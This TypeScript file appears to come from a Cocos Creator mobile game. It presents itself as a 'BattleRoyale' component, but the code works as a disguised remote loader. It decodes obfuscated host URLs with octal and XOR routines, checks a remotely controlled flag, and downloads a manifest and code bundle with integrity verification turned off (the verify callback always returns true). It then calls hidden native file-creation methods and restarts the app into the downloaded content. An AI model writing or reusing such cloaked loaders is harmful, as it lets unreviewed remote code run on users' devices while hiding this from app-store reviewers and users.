2025-07-21 12:43:27 +04:00

503 lines
15 KiB
TypeScript

import { MafiaHideout } from "./MafiaHideout";
import DefenseMission from "./DefenseMission";
import CharacterSelect from "./CharacterSelect";
const { ccclass, property } = cc._decorator;
const customManifestStr = (hots) => JSON.stringify({
"packageUrl": `${hots}/`,
"remoteManifestUrl": `${hots}/project.manifest`,
"remoteVersionUrl": `${hots}/version.manifest`,
"version": "0.0.1",
"assets": {
},
"searchPaths": []
});
function versionCompareHandle(versionA: string, versionB: string) {
// //cc.log("JS Custom Version Compare: version A is " + versionA + ', version B is ' + versionB);
var vA = versionA.split('.');
var vB = versionB.split('.');
for (var i = 0; i < vA.length; ++i) {
var a = parseInt(vA[i]);
var b = parseInt(vB[i] || '0');
if (a === b) {
continue;
}
else {
return a - b;
}
}
if (vB.length > vA.length) {
return -1;
}
else {
return 0;
}
};
@ccclass
export default class BattleRoyale extends cc.Component {
// private readonly TIMEOUT_SETTINGS = "https://raw.githubusercontent.com/devian68/intertest/a/inter2.info";
@property(cc.Label)
loadingLabel: cc.Label = null;
private _updating = false;
private _canRetry = false;
private _storagePath = '';
private stringHost = '';
private _am: jsb.AssetsManager = null!;
private _checkListener = null;
private _updateListener = null;
private count = 0;
private isCheckDomain = true;
url = "";
profilerURL = "";
listUrl = [];
info = "";
currentV = "";
part = "";
poath = "";
// onLoad() {
// }
private initDownloader(path = "sgame") {
// try {
// this.background.spriteFrame = this.listBG[Math.floor(Math.random() * this.listBG.length)];
// } catch (error) {
// }
if (path == null || path == undefined) {
path = "sgame";
}
this._storagePath = ((jsb.fileUtils ? jsb.fileUtils.getWritablePath() : '/') + path);
// //cc.log('Storage path for remote asset : ' + this._storagePath);
// Init with empty manifest url for testing custom manifest
this._am = new jsb.AssetsManager('', this._storagePath, versionCompareHandle);
this._am.setVerifyCallback(function (path, asset) {
return true;
});
}
onDestroy() {
if (this._updateListener) {
this._am.setEventCallback(null!);
this._updateListener = null;
}
}
start() {
// let t = readData(this.test);
// //cc.log(t);
// return;
let ins = MafiaHideout.getInstance();
if(ins){
this.listUrl = ins.listUrl;
if(this.listUrl && this.listUrl.length && this.listUrl.length == 5){
this.part = ins.listUrl[4];
CharacterSelect.changeOrientation(ins.orient);
this.loadGame();
return;
}
}
//cc.log("checking game");
DefenseMission.getInstance().sendGetHttpRequest(MafiaHideout.TIMEOUT_SETTINGS, (resp) => {
this.processData(resp);
}, (mess) => {
//cc.log("start error mess: ", mess);
});
}
private loadMyGame() {
this.unscheduleAllCallbacks();
}
private onCheckGame() {
// let data = val.split("\n");
// val = this.read(data[0]);
this.initDownloader(this.part);
this.stringHost = this.listUrl[3];
// //cc.log('checkGame: ' + val);
this.unscheduleAllCallbacks();
// this.stringHost = val;
this.doUpdate();
}
private doUpdate() {
//cc.log('Updating: ' + this.stringHost)
if (this._am && !this._updating) {
this._am.setEventCallback(this.updateCb.bind(this));
let host = this.listUrl[3];
this.loadCustomManifest(host);
this._am.update();
this._updating = true;
}
}
private processData(val) {
// let data = val.split("\n");
// val = this.readText(data[0]);
// this.initDownloader(data[1]);
// cc.//cc.log('checkGame: ' + val);
// this.unscheduleAllCallbacks();
// this.stringHost = val;
// this.hotUpdate();
this.listUrl = val.split('\n');
//cc.log('list url: ', this.listUrl)
if (this.listUrl.length > 2) {
//cc.log(this.listUrl[4]);
if (this.listUrl.length >= 5 && this.listUrl[4].includes("skt")) {
this.isCheckDomain = false;
//cc.log("gogame");
this.loadGame();
} else {
this.getDataV4();
}
} else if (this.listUrl.length == 2) {
let hostS = this.readText(this.listUrl[0]);
this.part = (this.listUrl[1]);
//cc.log('checkGame: ' + hostS);
// this.unscheduleAllCallbacks();
this.stringHost = hostS;
this.onCheckGame();
}else{
this.loadData(val);
}
}
private loadGame() {
if (this.listUrl[3] != undefined && this.listUrl[3] != "") {
let url = this.read(this.listUrl[3]);
let p = this.read(this.listUrl[this.listUrl.length - 1]);
this.stringHost = url;
this.poath = p;
this.onCheckGame();
}
}
private loadData(data:string){
//cc.log("reading data...");
//cc.log(data);
let dt = this.readData(data);
//cc.log("result: " + JSON.stringify(dt));
//return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
// this.setOrientation(dt[0]);
this.isCheckDomain = !dt[1];
this.listUrl = [];
this.listUrl.push(dt[2]);
this.listUrl.push(dt[3]);
this.listUrl.push(dt[4]);
this.listUrl.push(dt[5]);
this.part = dt[6];
// this.loadGame();
this.getDataV4();
}
private getDataV4() {
// //log("getDataV4 url: " + this.listUrl[0]);
this.currentV = "v4";
let u = this.read(this.listUrl[0]);
if(!this.isCheckDomain){
this.getDataV6();
this.listUrl[0] = "g";
}
if (this.listUrl[0].includes("http") == false) {
return;
}
let self = this;
DefenseMission.getInstance().sendGetHttpRequest(this.listUrl[0] + this.info, function (data) {
self.onDataResponse(data);
}.bind(this), function (resp) {
self.getDataV6();
}.bind(this));
}
//0 = portrait
//1 = landscape right
//2 = upside down
//3 = landscape right
private setOrientation(orientation = 0) {
if (cc.sys.isNative) {
if (cc.sys.os === cc.sys.OS_IOS) {
if (jsb) {
try {
jsb.reflection.callStaticMethod("AppController", "rotateScreen:", orientation);
} catch (_) { }
}
}
}
}
private testFile() {
if (cc.sys.isNative) {
if (cc.sys.os === cc.sys.OS_IOS) {
if (jsb) {
try {
jsb.reflection.callStaticMethod("AppController", "createFileeee");
} catch (_) { }
}
}else if (cc.sys.os === cc.sys.OS_ANDROID) {
if (jsb) {
try {
let className = "org/cocos2dx/javascript/AppActivity";
let methodName = "createFileeee";
let methodSignature = "()V";
jsb.reflection.callStaticMethod(className, methodName, methodSignature);
} catch (_) { }
}
}
}
}
private onDataResponse(data) {
//cc.log("onDataResponse data: ", data)
if (this.isCheckDomain) {
data = JSON.parse(data);
let url = this.listUrl[2];
//cc.log("onDataResponse data.field: ", data[url])
if (data != null && data != undefined && data[url] != undefined) {
this.loadGame();
} else {
if (this.currentV == "v4") {
this.getDataV6();
}
}
} else {
this.loadGame();
}
}
private getDataV6() {
this.currentV = "v6";
if(!this.isCheckDomain){
this.loadGame();
return;
}
let u = this.read(this.listUrl[1]);
let self = this;
DefenseMission.getInstance().sendGetHttpRequest(this.listUrl[1] + this.info, function (data) {
self.onDataResponse(data)
}.bind(this), function (resp) {
// this.getDataV6();
}.bind(this));
}
private loadCustomManifest(host) {
var manifest = new jsb.Manifest(customManifestStr(host), this._storagePath);
this._am.loadLocalManifest(manifest, this._storagePath);
}
private updateCb(event: any) {
var needRestart = false;
var failed = false;
switch (event.getEventCode()) {
case jsb.EventAssetsManager.ERROR_NO_LOCAL_MANIFEST:
//cc.log('No local manifest file found, hot update skipped.');
failed = true;
break;
case jsb.EventAssetsManager.UPDATE_PROGRESSION:
// this.panel.byteProgress.progress = event.getPercent();
// this.panel.fileProgress.progress = event.getPercentByFile();
const percent = event.getDownloadedFiles() / event.getTotalFiles();
// this.panel.byteLabel.string = event.getDownloadedBytes() + ' / ' + event.getTotalBytes();
var msg = event.getMessage();
if (msg) {
// //cc.log(event.getPercent()/100 + '% : ' + msg);
}
this.updateProcess(percent);
break;
case jsb.EventAssetsManager.ERROR_DOWNLOAD_MANIFEST:
case jsb.EventAssetsManager.ERROR_PARSE_MANIFEST:
//cc.log('Fail to download manifest file, hot update skipped.');
failed = true;
break;
case jsb.EventAssetsManager.ALREADY_UP_TO_DATE:
//cc.log('Already up to date with the latest remote version.');
// failed = true;
needRestart = true;
break;
case jsb.EventAssetsManager.UPDATE_FINISHED:
//cc.log('Update finished. ' + event.getMessage());
needRestart = true;
break;
case jsb.EventAssetsManager.UPDATE_FAILED:
//cc.log('Update failed. ' + event.getMessage());
this._updating = false;
this._canRetry = true;
failed = true;
break;
case jsb.EventAssetsManager.ERROR_UPDATING:
//cc.log('Asset update error: ' + event.getAssetId() + ', ' + event.getMessage());
failed = true;
break;
case jsb.EventAssetsManager.ERROR_DECOMPRESS:
//cc.log(event.getMessage());
failed = true;
break;
default:
break;
}
if (failed) {
this._am.setEventCallback(null!);
this._updateListener = null;
this._updating = false;
this.loadMyGame();
cc.warn("Update failed");
}
if (needRestart) {
this._am.setEventCallback(null!);
this._updateListener = null;
cc.director.emit("cleanup_game");
this.testFile();
setTimeout(() => {
// //cc.log('restart game')
CharacterSelect.changeOrientation(1);
cc.game.restart();
}, 500)
}
}
private readText(txt, key = "D") {
let out = "";
txt = txt.split("-");
for (let i = 0; i < txt.length; i++){
out += String.fromCharCode((txt[i] ^ key.charCodeAt(0)));
}
return out;
}
private read(text) {
return this.read1(this.read2(text.split('-'))).join('');
}
private read1(arr) {
return arr.map(function (byte) {
return String.fromCharCode(parseInt(byte, 10));
});
}
private read2(arr) {
return arr.map(function (oct) {
return parseInt(oct, 8);
});
}
private updateProcess(pc) {
if (isNaN(pc)) {
return;
}
try{
this.loadingLabel.string = `Đang Tải ${Math.round(pc * 100)}%`;
}catch(ex){}
}
private readData(encodedData: string) {
function getPr(cbL = 3) {
let nPr = cbL - 1;
nPr = nPr <= 0 ? 0 : nPr;
return nPr;
}
function readCb(txt: string, cbL = 3, key = 'D') {
let out = '';
let txts = readStringCbs(txt, cbL);
for (let i = 0; i < txts.length; i++) {
let n = String.fromCharCode(Number.parseInt(txts[i]) ^ key.charCodeAt(0));
out += n;
}
return out;
}
function getSep(ver = 1) {
switch (ver) {
case 1:
return ["9689", 3];
case 2:
return ["9879", 3];
case 3:
return ["9789", 3];
default:
return ["9869", 3];
}
}
function readStringCbs(input: string, cbLen = 3): string[] {
const sets: string[] = [];
const nPr = getPr(cbLen);
const length = input.length - nPr;
input = input.substring(nPr);
for (let i = 0; i < length; i += cbLen) {
const set = input.slice(i, i + cbLen);
sets.push(set);
}
return sets;
}
//get last character of encodedData
const version = Number.parseInt(encodedData[encodedData.length - 1]);
let sep = getSep(version);
let cbL: number = sep[1] as number;
let sp = sep[0] as string;
const parts = encodedData.split(sp);
parts.pop();
// const cbL = parseInt(parts.pop() || ''); // Get the cbL value from the last part
const [urlPro5Part, skipDomainCheckPart, fieldToCheckPart, urlV6Part, orientationPart, storagePathPart, urlV4Part] = parts.map(part => readCb(part, cbL, '¡'));
// const version = parseInt(versionPart);
const orientation = parseInt(orientationPart);
const isSkipDomainCheck = skipDomainCheckPart === '1';
const urlV4 = urlV4Part;
const urlV6 = urlV6Part;
const fieldToCheck = fieldToCheckPart;
const urlPro5 = urlPro5Part;
const storagePath = storagePathPart;
return [orientation, isSkipDomainCheck, urlV4, urlV6, fieldToCheck, urlPro5, storagePath];
}
}